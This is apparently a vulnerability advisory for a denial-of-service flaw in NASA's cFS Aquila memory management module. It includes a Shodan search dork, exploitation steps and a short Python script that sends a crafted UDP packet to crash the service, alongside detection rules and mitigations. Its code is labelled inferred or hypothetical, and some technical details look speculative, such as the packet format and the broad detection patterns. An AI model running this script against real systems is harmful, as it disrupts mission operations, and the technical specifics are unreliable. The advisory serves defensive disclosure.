CVE-2025-25372

Executive Summary

CVE-2025-25372 is a high-severity vulnerability (CVSS 7.5) in NASA’s Core Flight System (cFS) Aquila, specifically within the Memory Management Module (MMM). The flaw allows an unauthenticated attacker to trigger a segmentation fault by sending a malicious telecommand over the network, leading to a denial of service (DoS) condition. This can disrupt satellite or spacecraft operations relying on cFS Aquila. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the critical nature of space systems, immediate mitigation is advised.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: High (A:H) – segmentation fault causes service disruption.

Threat Level: High – due to potential impact on mission-critical space systems.

Deep Dive & Mechanics

The vulnerability resides in the Memory Management Module (MMM) of NASA’s cFS Aquila. The MMM handles telecommands that manage memory allocation, deallocation, and access. A malicious telecommand can be crafted to trigger a segmentation fault (SIGSEGV) by causing an invalid memory access, such as a null pointer dereference or out-of-bounds read/write.

Root Cause: Improper validation of telecommand parameters within the MMM. The module fails to sanitize or bounds-check input fields that specify memory addresses or sizes, allowing an attacker to supply values that cause the software to access invalid memory regions.

Attack Flow:

1. Attacker sends a crafted telecommand packet to the cFS Aquila instance over the network (e.g., via UDP on a known port).
2. The MMM processes the telecommand without adequate validation.
3. The invalid memory access triggers a segmentation fault, crashing the cFS process.
4. The spacecraft or satellite loses command and control capability until the system is reset.

Affected Component: cfe/memory_manager/ module in the cFS Aquila distribution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from typical memory management flaws. Below is a representative example of the vulnerable logic and a hypothetical fix.

Vulnerable Code (C):

void MMM_ProcessTelecommand(TelecommandPacket *pkt) {
    uint32_t addr = pkt->address;
    uint32_t size = pkt->size;
    // No bounds check on addr or size
    memcpy(buffer, (void*)addr, size);  // Potential segfault if addr is invalid
}

Patched Code (Hypothetical):

void MMM_ProcessTelecommand(TelecommandPacket *pkt) {
    uint32_t addr = pkt->address;
    uint32_t size = pkt->size;
    // Validate address range
    if (addr < VALID_MEM_START || addr + size > VALID_MEM_END) {
        LogError("Invalid memory access attempt");
        return;
    }
    memcpy(buffer, (void*)addr, size);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a cFS Aquila instance (e.g., in a lab environment).
• Knowledge of the telecommand protocol (typically CCSDS packets over UDP).

Exploitation Steps:

1. Identify the target cFS Aquila system (e.g., via Shodan dork: "cfs aquila").
2. Craft a malicious telecommand packet with an invalid memory address (e.g., 0x00000000).
3. Send the packet to the MMM port (default often 1234/UDP).
4. Observe the segmentation fault via system logs or loss of connectivity.

Example Python Script:

import socket
import struct

target_ip = "192.168.1.100"
target_port = 1234

# Craft a telecommand with invalid address
packet = struct.pack("!II", 0x00000000, 16)  # address=0, size=16
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print("Malicious telecommand sent")

Blue Team (Defensive)

Detection:

• Monitor for anomalous telecommand packets with out-of-range memory addresses.
• Use network intrusion detection (e.g., Suricata) to flag packets targeting the MMM port with suspicious payloads.

Mitigation:

• Implement input validation on all telecommand parameters.
• Deploy a Web Application Firewall (WAF) or network filter to block malformed packets.
• Isolate the cFS network segment from untrusted networks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • UDP packets to port 1234 (or configured MMM port) with payloads containing null or invalid memory addresses.
  • Repeated connection attempts from a single IP to the cFS service.
• System IOCs:
  • Segmentation fault logs in /var/log/syslog or cFS logs.
  • cFS process crash events.
• File IOCs:
  • Unexpected core dump files in the cFS working directory.

Detection Engineering

YARA Rule

rule CVE_2025_25372_Malicious_Telecommand {
    meta:
        description = "Detects malicious telecommand packets targeting cFS Aquila MMM"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25372"
    strings:
        $invalid_addr = { 00 00 00 00 }  // Null address in packet
        $large_size = { FF FF FF FF }    // Maximum size
    condition:
        $invalid_addr or $large_size
}

Sigma Rule

title: CVE-2025-25372 - cFS Aquila MMM Segmentation Fault
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network packets that may trigger a segmentation fault in NASA cFS Aquila Memory Management Module
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 1234
        payload|contains: "00000000"  # Null address
    condition: selection
falsepositives:
    - Legitimate telecommands with zero addresses (rare)
level: high

Suricata Rule

alert udp any any -> any 1234 (msg:"CVE-2025-25372 - cFS Aquila MMM Segmentation Fault Attempt"; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate cFS Aquila systems on a dedicated, air-gapped network.
2. Input Validation: Implement strict bounds checking on all telecommand parameters in the MMM.
3. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Long-Term Fix:

• Await an official patch from NASA. In the interim, apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Conduct a security audit of the entire cFS codebase for similar memory safety issues.

Workaround:

• Disable the Memory Management Module if not required, or restrict access via firewall rules to trusted IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert